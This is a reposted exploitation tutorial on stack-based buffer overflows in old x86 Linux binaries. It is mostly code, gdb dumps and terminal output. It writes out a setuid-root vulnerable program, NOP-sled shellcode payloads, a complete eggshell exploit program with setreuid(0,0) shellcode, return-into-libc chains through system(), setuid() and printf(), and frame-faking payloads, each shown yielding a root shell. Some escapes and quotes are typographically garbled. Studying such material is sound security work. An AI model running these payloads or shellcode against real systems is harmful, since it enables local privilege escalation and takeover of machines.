Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique

Este artigo em ingl?s foi tirado do site http://neworder.box.sk/

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Stack-based Overflow Exploit

- Introduction to Classical and Advanced Overflow Technique -

By vangelis(vangelis@wowhacker.org)
Email: progressfree at hotmail.com

Thanks to beist(http://beist.org), naska!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1. Introduction

In this document I will not talk about what overflow is and how much
serious it is. There are so many articles about them. Before going into
the main discussion, I make such a simple program as vul.c. Almost
everyone with a small knowledge of buffer overflow can find out what
the problem is. As you know, strcpy() function doesn?t mind how many
data we put into buffer.

[root@localhost bof]# cat > vul.c
int main(int argc, char *argv[])
{
char buffer[100];
strcpy(buffer,argv[1]);
}
[root@localhost bof]# gcc -o vul vul.c
[root@localhost bof]#./vul `perl -e ‘print “A”x124′`
Segmentation fault
[root@localhost bof]#

When we put 124 “A” into buffer, the vulnerable program got ‘Segmentation
fault.’ Someone may wonder why the vulnerable program got ‘Segmentation
fault’ when we put data more than 124 bytes. As you know, memory can only
be addressed in the word size(4 bytes). So we may think that the vulnerable
program gets ‘Segmentation fault’ when we put 104 bytes(26 words) data. The
key point is that there were some changes after gcc 2.96 version. If my
system uses gcc 2.95 version and below it, the vulnerable program will get
‘Segmentation fault’ when we put 104 bytes data. I will explain about the
main change.

The main change is that stack is aligned by 16 bytes after gcc 2.96. So
when main() function is called, the space for a local variable is filled by
16 bytes. Look at the following program.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
}
—————————————————-

The following shows the size of n in the “buffer[n]” and real memory size.

———————————————
size of n | real memory size
———————————————
1 - 16 | 24 bytes
———————————————
17 - 32 | 40 bytes
———————————————
33 - 48 | 56 bytes
———————————————
49 - 64 | 72 bytes
———————————————
65 - 80 | 88 bytes
———————————————
81 - 96 | 104 bytes
———————————————
97 -112 | 120 bytes
: :
———————————————

As we can see, there is a change in the real memory size when 16 bytes are
added to n.

16+16(=32)+16(=48)+16(=64)+16(=80)+16(=96)+16(=112)…….
24 40 56 72 88 104 120
16 + 16 + 16 + 16 + 16 + 16…….

But in my system there are some irregularity when n is between 1 and 16.
When n is 1, 2, 4, 8, the real size of memory is 8 bytes. Let’s have
another example.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
}
—————————————————-

In the case of below gcc 2.96, we will get a result as following:

buffer(12) - sfp(4) - ret(4)

But after gcc 2.96, we will get the result like following:

buffer(16) - dummy(8) - sfp(4) - ret(4).

We can see that there are 8 bytes dummy. Let’s check by using gdb.

[vangelis@heezin bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0×8048328

: push %ebp
0×8048329
: mov %esp,%ebp
0×804832b
: sub $0×18,%esp
0×804832e
: and $0xfffffff0,%esp
0×8048331
: mov $0×0,%eax
0×8048336
: sub %eax,%esp
0×8048338
: sub $0×8,%esp
0×804833b
: mov 0xc(%ebp),%eax
0×804833e
: add $0×4,%eax
0×8048341
: pushl (%eax)
0×8048343
: lea 0xffffffe8(%ebp),%eax
0×8048346
: push %eax
0×8048347
: call 0×8048268
0×804834c
: add $0×10,%esp
0×804834f
: mov $0×0,%eax
0×8048354
: leave
0×8048355
: ret
0×8048356
: nop
0×8048357
: nop
End of assembler dump.
(gdb)

Let’s go back to the vul.c. When we put 124 “A” into buffer, we got
‘Segmentation fault.’

Let’s check by using gdb.

[root@localhost bof]# gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0×8048328

: push %ebp
0×8048329
: mov %esp,%ebp
0×804832b
: sub $0×78,%esp
0×804832e
: and $0xfffffff0,%esp
0×8048331
: mov $0×0,%eax
0×8048336
: sub %eax,%esp
0×8048338
: sub $0×8,%esp
0×804833b
: mov 0xc(%ebp),%eax
0×804833e
: add $0×4,%eax
0×8048341
: pushl (%eax)
0×8048343
: lea 0xffffff88(%ebp),%eax
0×8048346
: push %eax
0×8048347
: call 0×8048268
0×804834c
: add $0×10,%esp
0×804834f
: mov $0×0,%eax
0×8048354
: leave
0×8048355
: ret
0×8048356
: nop
0×8048357
: nop
End of assembler dump.
(gdb)

As you can see, 120 bytes are allocated for the local variable. So, in
order to overflow the stack, we must put more than 124 bytes’ data. Remember
that you have to check how many data are allocated for local variables when
you exploit a vulnerable program.

The last thing to do is to change the owner and permission of the vulnerable
program. I make a simple program chogm.c to do it.

[root@localhost bof]# cat > chogm.c
#include
#include
#include
#include

int main()
{
char file_name[20];

printf(”Put the file name you want to chown and chmod: “);

scanf(”%s”,file_name);

chown(file_name,0,0);
chmod(file_name,04755);
exit(0);
}

[root@localhost bof]# gcc -o chogm chogm.c
[root@localhost bof]# ./chogm
Put the file name you want to chown and chmod: vul
[root@localhost bof]# ls -l vul
-rwsr-xr-x 1 root root 11352 10월 5 10:04 vul
[root@localhost bof]#

Now, it’s time to attack. I will suggest some techniques to exploit the
vulnerable program. At first, I will suggest two classical ways. And then I will
suggest more advanced ways which can be used under non-executable stack.

2. Classical Overflow Technique

The classical overflow technique uses the concept of overwriting the EIP
register with approximate address of many NOPs in memory or shellcode. We have to
guess and estimate the return address. If you are not familiar with the the
concept of classical overflow technique, I recommend you to read the Aleph One’s
“Smashing The Stack For Fun And Profit”(http://phrack.org/phrack/49/P49-14) and
other good articles which are related with this subject.

2.1. General Overflow Technique

The classical exploit payload is composed of the following.

———————————————-
| NOP | shellcode | (dummy) | return address |
———————————————-

I think most readers of this article are familiar with the classical way to exploit
the stack-based overflow. So, I will not explain in detail.

[root@localhost bof]# su vangelis
[vangelis@localhost bof]$ gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0×8048328

: push %ebp
0×8048329
: mov %esp,%ebp
0×804832b
: sub $0×78,%esp
0×804832e
: and $0xfffffff0,%esp
0×8048331
: mov $0×0,%eax
0×8048336
: sub %eax,%esp
0×8048338
: sub $0×8,%esp
0×804833b
: mov 0xc(%ebp),%eax
0×804833e
: add $0×4,%eax
0×8048341
: pushl (%eax)
0×8048343
: lea 0xffffff88(%ebp),%eax
0×8048346
: push %eax
0×8048347
: call 0×8048268
0×804834c
: add $0×10,%esp
0×804834f
: leave
0×8048350
: ret
0×8048351
: nop
0×8048352
: nop
0×8048353
: nop
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul
/bin/bash: /root/.bashrc: permission denied

Breakpoint 1, 0×0804832e in main ()
(gdb) x/x $ebp
0xbfffef08: 0xbfffef28 // return address: $ebp + 4: 0xbfffef08 + 4 = 0xbfffef0c
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

It is quite easy to get the return address. The general stack form is following:

buffer - (dummy) - ebp(4) - ret(4)

So, to get the return address, we get $ebp first and then plus 4. The $ebp is
0xbfffef08. We add 4 to 0xbfffef08. And then we get the return address 0xbfffef0c.
However, we have to remember that the return address through using gdb may be not
correct. So, when we attack the vulnerable program and if the return address is
not correct, we have to add or subtract some bytes.

[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42×0b\xcd\x80″, “a”x20, “\x0c\xef\xff\xbf”‘`
Segmentation fault
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80″, “a”x20, “\x0c\xf1xff\xbf”‘`
Segmentation fault
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80″, “a”x20, “\x0c\xf2xff\xbf”‘`
sh-2.05b#

I got a root shell. But I think this way of exploiting is a little silly one.
Let’s use another classical way, using eggshell program.

2.2. Using “eggshell”

The way we use eggshell is to overwrite the return address of a vulnerable function
with the address we get after we execute the eggshell program. We have to keep in
mind that we must use a suitable setreuid shellcode to get a shell we want. If we
want to get a root shell, we have to use setreuid(0.0) code. If you don’t use the
setreuid(0,0) code, you can’t get a root shell. I will not discuss the way to make
shellcodes, because there are so many good documents about it.

[vangelis@localhost bof]$ cat > eggshell.c
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0×90

char shellcode[] =
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80″ /* setreuid(0,0) */
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {
__asm__(”movl %esp,%eax”);
}

int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

if (!(egg = malloc(eggsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = get_esp() - offset;
printf(”Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = ‘\0′;
egg[eggsize - 1] = ‘\0′;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(”/bin/bash”);
}

[vangelis@localhost bof]$ gcc -o eggshell eggshell.c
[vangelis@localhost bof]$ ./eggshell
Using address: 0xbffff8f8
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x31′`
Segmentation fault

When we ‘print “\xf8\xf8\xff\xbf”x31′(124 bytes), we overwrite ‘buffer’ and ‘ebp’
but not ‘return address’ yet. Do you remember how the stack of this vulnerable
program looks like? It is as follows.

buffer(100 bytes) - dummy(20 bytes) - ebp(4 bytes) - ret(4 bytes)

As you can see, we need 128 bytes data to overwrite the return address.

[vangelis@localhost bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x32′`
sh-2.05b#

I got a root shell. It is much easier than the first way of exploiting. This
technique is quite helpful when a vulnerable program has small buffer, so we can’t
put shellcode directly into buffer like the first way. Let’s take another example
vul2.c. The size of memory allocated for the local variable is so small that we
can’t use the first classical way.

[vangelis@localhost bof]$ cat > vul2.c
int main(int argc, char *argv[])
{
char buff[7];

strcpy(buff, argv[1]);
return 0;
}

[vangelis@localhost bof]$ gcc -o vul2 vul2.c
[vangelis@localhost bof]$ su
Password:
[root@localhost bof]# ./chogm
Put the file name you want to chown and chmod: vul2
[root@localhost bof]# su vangelis
[vangelis@localhost bof]$ ls -l vul2
-rwsr-xr-x 1 root root 11353 10월 5 10:36 vul2
[vangelis@localhost bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0×8048328

: push %ebp
0×8048329
: mov %esp,%ebp
0×804832b
: sub $0×18,%esp
0×804832e
: and $0xfffffff0,%esp
0×8048331
: mov $0×0,%eax
0×8048336
: sub %eax,%esp
0×8048338
: sub $0×8,%esp
0×804833b
: mov 0xc(%ebp),%eax
0×804833e
: add $0×4,%eax
0×8048341
: pushl (%eax)
0×8048343
: lea 0xffffffe8(%ebp),%eax
0×8048346
: push %eax
0×8048347
: call 0×8048268
0×804834c
: add $0×10,%esp
0×804834f
: mov $0×0,%eax
0×8048354
: leave
0×8048355
: ret
0×8048356
: nop
0×8048357
: nop
End of assembler dump.
(gdb) q
[vangelis@localhost bof]$

The stack looks like this:

buffer(16) - dummy(8) - ebp(4) - ret(4)

We need 32 bytes to overwrite the return address.

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “\xf8\xf8\xff\xbf”x8′`
sh-2.05b#

I got a root shell!

3. Advanced Overflow Technique Under the Non-executable Stack

Now I will suggest more advanced techniques which can be used under executable
stack and non-executable stack situation. Most of them are called “return-into-libc”
technique. This technique was introduced to bypass the non-executable stack patch.
If you read Nergal’s “Advanced return-into-lib(c) exploits(PaX case Study)”
(http://phrack.org/phrack/58/p58-0×04) you can find the introduction history of
return-into-libc technique. Especially Nergal’s article and the ‘Referenced
publications and projects’ will help you to understand return-into-libc technique.
I also recommend you to read Nergal’s article and other related ones.

From now on I will use the vul2 as a target program of attack.

3.1. The “Classical” return-into-libc and Limitations of system()

The classical return-into-libc method is “most commonly used to evade protection
offered by the non-executable stack. Instead of returning into code located within
the stack, the vulnerable function should return into a memory area occupied by a
dynamic library. It can be achieved by overflowing a stack buffer with the following
payload.”

————————————————————————–
| data to overflow buffer | *system() | 4 bytes dummy data | *”/bin/sh” |
————————————————————————–

We can easily get the address of system() by using gdb. And we can easily get the
address of “/bin/sh” by using environment variable. Let’s find out the address
of system() first.

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0×0804832e in main ()
(gdb) x/i system
0×42041e50 : push %ebp
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

I got the address of system():0×42041e50. Now I have to find out the address of “/bin/sh”.

To get the address of “/bin/sh” I will use environmental variable. We will make an
environmental variable hold the string “/bin/sh”. So, I create an environmental
variable called $WOWHACKER to store the string “/bin/sh”.

[vangelis@localhost bof]$ export WOWHACKER=”/bin/sh”
[vangelis@localhost bof]$ echo $WOWHACKER
/bin/sh
[vangelis@localhost bof]$ env
SSH_AGENT_PID=922
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc...]
WOWHACKER=/bin/sh
SSH_AUTH_SOCK=/tmp/ssh-XXNxttOD/agent.863
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/863
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthj2VlJi
COLORTERM=gnome-terminal

_=/bin/env
[vangelis@localhost bof]$

Now I make a small but useful program get_env.c to get the address of the
environmental variable holding the string “/bin/sh”.

[vangelis@localhost bof]$ cat > get_env.c
#include
#include

int main(int argc, char *argv[])
{
char *addr;
addr=getenv(argv[1]);

printf(”Address of %s: %p\n”,argv[1],addr);
return 0;
}
[vangelis@localhost bof]$ gcc -o get_env get_env.c
[vangelis@localhost bof]$ ./get_env WOWHACKER
Address of WOWHACKER: 0xbffffd5c

The address of $WOWHACKER holding “/bin/sh” is 0xbffffd5c. Now I get all
information to exploit the vulnerable program vul2.

* address of system() - 0×42041e50
* address of $WOWHACKER - 0xbffffd5c

Our exploit payload looks like the following.

————————————————————————–
| data to overflow buffer | 0×42041e50 | 4 bytes dummy data | 0xbffffd5c |
————————————————————————–

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “VANG”x7,”\x50\x1e\x04\x42″,”A”x4,”\x5c\xfd\xff\xbf”‘`
sh-2.05b$

I got a shell. But I couldn’t get a root shell. Here we can know that there
are some limitations in the classical return-into-libc technique. Negal said
the two limitations in his article like the following.

1. It is impossible to call another function, which requires arguments, after function_in_lib.
2. The arguments to function_in_lib cannot contain null bytes.

He told about the first limitation. “If a vulnerable application temporarily
drops privileges (for example, a setuid application can do seteuid(getuid())),
an exploit must regain privileges (with a call to setuid(something) usually)
before calling system().”

Now, I will suggest the way to get over the limitations.

3.2. First Way To Get Over the ?Classical? return-into-libc and system()

The first way to get over ‘classical’ return-into-libc is to use setuid() with
system(). The vulnerable program vul2 is setuid(0) set. So, we have to process
the argument ‘0′ of setuid() to get a root shell. If there is null byte before
going to system(), we will fail to get a root shell. In order to solve this
problem, we can use printf().

The first thing to use this technique is to add “/bin/sh” to the first list of
environment. Let’s see the list of environment variables by using env.

[vangelis@localhost bof]$ env
SSH_AGENT_PID=955
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh

TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc...]
SSH_AUTH_SOCK=/tmp/ssh-XXwZPnO4/agent.896
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthct1pxK
COLORTERM=gnome-terminal
_=/bin/env
[vangelis@localhost bof]$

The first list of environment variables is “SSH_AGENT_PID=955″.
Now I will add “/bin/sh” to it by using export.

[vangelis@localhost bof]$ export SSH_AGENT_PID=”955;/bin/sh”
[vangelis@localhost bof]$ env
SSH_AGENT_PID=955;/bin/sh
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc...]
SSH_AUTH_SOCK=/tmp/ssh-XXRxCKJr/agent.897
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/897
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthzRzRr8
COLORTERM=gnome-terminal
_=/bin/env
[vangelis@localhost bof]$

To make you understand the reason why I add ?/bin/sh? to the first list, I will dump the contents of memory.

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0×0804832e in main ()
(gdb) x/50x $ebp
0xbffff908: 0xbffff928 0×420158d4 0×00000001 0xbffff954
0xbffff918: 0xbffff95c 0×400124b8 0×00000001 0×08048278
0xbffff928: 0×00000000 0×08048299 0×08048328 0×00000001
0xbffff938: 0xbffff954 0×08048230 0×0804837c 0×4000a950
0xbffff948: 0xbffff94c 0×4001020c 0×00000001 0xbffffa77
0xbffff958: 0×00000000 0xbffffa94 0xbffffaae 0xbffffacd
0xbffff968: 0xbffffae2 0xbffffaf2 0xbffffafd 0xbffffb0d
0xbffff978: 0xbffffb1b 0xbffffb4f 0xbffffb61 0xbffffb7b
0xbffff988: 0xbffffb89 0xbffffd4c 0xbffffd65 0xbffffd8f
0xbffff998: 0xbffffdce 0xbffffddc 0xbffffdf6 0xbffffe51
0xbffff9a8: 0xbffffe5d 0xbffffe72 0xbffffe8e 0xbffffea1
0xbffff9b8: 0xbffffeb2 0xbffffec5 0xbffffef8 0xbfffff0c
0xbffff9c8: 0xbfffff14 0xbfffff35
(gdb) x/8wx 0xbffff954
0xbffff954: 0xbffffa77 0×00000000 0xbffffa94 0xbffffaae
0xbffff964: 0xbffffacd 0xbffffae2 0xbffffaf2 0xbffffafd
(gdb) x/s 0xbffffa77
0xbffffa77: “/home/vangelis/test/bof/vul2″
(gdb) x/8wx 0xbffff95c
0xbffff95c: 0xbffffa94 0xbffffaae 0xbffffacd 0xbffffae2
0xbffff96c: 0xbffffaf2 0xbffffafd 0xbffffb0d 0xbffffb1b
(gdb) x/s 0xbffffa94
0xbffffa94: “SSH_AGENT_PID=955;/bin/sh”
(gdb) x/s 0xbffffaae
0xbffffaae: “HOSTNAME=localhost.localdomain”
(gdb) x/s 0xbffffacd
0xbffffacd: “PVM_RSH=/usr/bin/rsh”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

As you can see, *env[0] is at 0xbffffa94 of 6th line. Let’s check from the 1st line to the 6th line.

0xbffff908: 0xbffff928 0×420158d4 0×00000001 0xbffff954
(**argv)

0xbffff918: 0xbffff95c 0×400124b8 0×00000001 0×08048278
(**env)

0xbffff928: 0×00000000 0×08048299 0×08048328 0×00000001
0xbffff938: 0xbffff954 0×08048230 0×0804837c 0×4000a950
0xbffff948: 0xbffff94c 0×4001020c 0×00000001 0xbffffa77
(argc) (*argv[0])

0xbffff958: 0×00000000 0xbffffa94 0xbffffaae 0xbffffacd
(null) (*env[0]) (*env[1]) (*env[2])

We added “/bin/sh” to env[0], so we can get a shell if we overwrite the
address of system() before null of the 6th line. And we get a root shell
if we overwrite the address of setuid() before system(). The null will
be used as an argument of setuid(), so the root privilege won’t be dropped.

Now I will suggest the attack payload:

———————————————————————–
| data to overflow | ?ret? of printf() x 18 | *setuid() | *system() |
———————————————————————–

In above payload, we must put ‘x18′ because we have to consider the
distance from **env to *env[0].

Now, let’s find out the addresses of setuid(), system(), and ret of printf().

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2

/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0×0804832e in main ()
(gdb) x/i setuid

0×420aefe0 : push %ebp
(gdb) x/i system
0×42041e50 : push %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0×42052390 : push %ebp
0×42052391 : mov %esp,%ebp
0×42052393 : sub $0×18,%esp
0×42052396 : mov %ebx,0xfffffffc(%ebp)
0×42052399 : lea 0xc(%ebp),%ecx
0×4205239c : call 0×4201575d <__i686 .get_pc_thunk.bx>
0×420523a1 : add $0xd7f2f,%ebx
0×420523a7 : mov 0×17c(%ebx),%eax
0×420523ad : mov (%eax),%eax
0×420523af : mov %ecx,0×8(%esp,1)
0×420523b3 : mov %eax,(%esp,1)
0×420523b6 : mov 0×8(%ebp),%eax
0×420523b9 : mov %eax,0×4(%esp,1)
0×420523bd : call 0×42047f00
0×420523c2 : mov 0xfffffffc(%ebp),%ebx
0×420523c5 : mov %ebp,%esp
0×420523c7 : pop %ebp
0×420523c8 : ret
0×420523c9 : nop
0×420523ca : nop
0×420523cb : nop
0×420523cc : nop
0×420523cd : nop
0×420523ce : nop
0×420523cf : nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

Now, we get all information to exploit.

*system(): 0×42041e50
*setuid(): 0×420aefe0
*ret of printf(): 0×420523c8

[vangelis@localhost bof]$ ./vul2 “`perl -e ‘print “A”x28,”xc8×23x05×42″x18,”xe0xefx0ax42″,”x50×1ex04×42″‘`”
sh-2.05b#

In above attack string, I put ” ” in both end. This is because there
is “\x0a”. If there is “\x0a” in the payload, the rest part of payload
after “\x0a”will not be passed as arguments. So I put ” ” in both ends
to pass the rest part of arguments.

3.3. Frame Faking

This technique is well described in Nergal’s article and other related ones.
I wish you to read the articles. The attack payload is like this:

——————————————————
| data to overflow buffer | fake_ebp0 | leaveret |
——————————————————

It is quite easy to find out how many data we need to overflow buffer. We can
use gdb for it as we have seen. fake_ebp0 is the starting address of buffer.
I found that if we use eggshell we don’t need the exact fake_ebp0. We can use
from 0xbffff201 to 0xbffff908 for fake_ebp0, so we can have more chances. It
is sure that there may be differences among systems. Anyway, if we don’t use
eggshell, we need the exact fake_ebp0. So, I will use eggshell for convenience.

[vangelis@localhost bof]$ ./eggshell
Using address: 0xbffff8d8
[vangelis@localhost bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0×8048328

: push %ebp
0×8048329
: mov %esp,%ebp
0×804832b
: sub $0×18,%esp
0×804832e
: and $0xfffffff0,%esp
0×8048331
: mov $0×0,%eax
0×8048336
: sub %eax,%esp
0×8048338
: sub $0×8,%esp
0×804833b
: mov 0xc(%ebp),%eax
0×804833e
: add $0×4,%eax
0×8048341
: pushl (%eax)
0×8048343
: lea 0xffffffe8(%ebp),%eax
0×8048346
: push %eax
0×8048347
: call 0×8048268
0×804834c
: add $0×10,%esp
0×804834f
: mov $0×0,%eax
0×8048354
: leave // leaveret: 0×8048354
0×8048355
: ret
0×8048356
: nop
0×8048357
: nop
End of assembler dump.
(gdb) q
[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “a”x28,”\x01\xf2\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#
sh-2.05b# exit
[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “a”x28,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

Wow! I got a root shell. We can also use the address which we get after executing eggshell program.

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “\xd8\xf8\xff\xbf”x7,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

3.4. Way of Using execl()

I included and explained about this technique in my last post “return-into-libc test” to Neworder(http://neworder.box.sk/newsread.php?newsid=11535). So, I don’t explain about this technique this time. I just include the test result. If you want to know about this, see my last post. Sorry^^.

[vangelis@localhost bof]$ cat > execl.c
main()
{
execl();
}
[vangelis@localhost bof]$ gcc -o execl execl.c
[vangelis@localhost bof]$ gdb -q execl
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) r
Starting program: /home/vangelis/test/bof/execl
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0×0804832e in main ()
(gdb) p execl
$1 = {} 0×420ae890
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > setid.c
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl(”/bin/bash”, “sh”, 0);
}
[vangelis@localhost bof]$ gcc -o setid setid.c
[vangelis@localhost bof]$ gdb -q setid
(gdb) b main
Breakpoint 1 at 0×8048406
(gdb) r
Starting program: /home/vangelis/test/bof/setid
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0×08048406 in main ()
(gdb) x/30s 0xbffffd4b
0xbffffd4b: “PVM_ROOT=/usr/share/pvm3″
0xbffffd64: “SSH_AUTH_SOCK=/tmp/ssh-XXCipL12/agent.896″
0xbffffd8e: “SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896″
0xbffffdcd: “USERNAME=root”
0xbffffddb: “MAIL=/var/spool/mail/root”
0xbffffdf5: “PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin”
0xbffffe50: “_=/bin/bash”
0xbffffe5c: “INPUTRC=/etc/inputrc”
0xbffffe71: “PWD=/home/vangelis/test/bof”
0xbffffe8d: “XMODIFIERS=@im=Ami”
0xbffffea0: “LANG=ko_KR.eucKR”
